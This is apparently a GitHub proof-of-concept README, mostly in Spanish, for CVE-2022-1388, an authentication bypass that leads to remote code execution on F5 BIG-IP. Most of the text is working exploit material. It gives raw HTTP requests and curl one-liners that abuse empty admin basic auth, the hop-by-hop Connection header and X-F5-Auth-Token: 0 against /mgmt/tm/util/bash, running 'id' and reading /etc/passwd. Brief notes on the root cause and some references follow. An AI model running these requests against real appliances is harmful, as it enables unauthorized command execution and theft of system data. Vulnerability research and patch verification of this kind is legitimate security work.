alt3kx/cve-2022-1388_pocExplotación de RCE en F5 BIG-IP (CVE-2022-1388)
POST (1):
POST /mgmt/tm/util/bash HTTP/1.1
Host: <redacted>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0
{"command": "run" , "utilCmdArgs": " -c 'id' " }
Línea de comandos curl:
$ curl -i -s -k -X $'POST' \
-H $'Host: <redacted>:8443' \
-H $'Authorization: Basic YWRtaW46' \
-H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
-H $'Content-Length: 52' \
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \'id\' \" }\x0d\x0a' \
$'https://<redacted>:8443/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080
POST (2):
POST /mgmt/tm/util/bash HTTP/1.1
Host: <redateced>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0
{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }
Línea de comandos curl:
$ curl -i -s -k -X $'POST' \
-H $'Host: <redacted>:8443' \
-H $'Authorization: Basic YWRtaW46' -H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \' cat /etc/passwd\' \" }\x0d\x0a\x0d\x0a' \
$'https://<redacted>/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080
Nota:
Issue could be related between frontend and backend authentication "Jetty" with empty credentials "admin: <empty>"
+ value of headers ,see "HTTP hop_by_hop request headers"...
Mi BIG-IP ahora está parcheado:
Referencias y correcciones :
Aquí está la documentación utilizada, últimas notas:
Cabeceras de solicitud HTTP hop_by_hop:
Análisis técnico en profundidad de la omisión de autenticación del endpoint F5 iControl REST por horizon3
Mis notas:
Payload1: icontrol_api_endpoints.txt
Payload2: icontrol_api_commands.txt
Alex Hernandez aka (@_alt3kx_)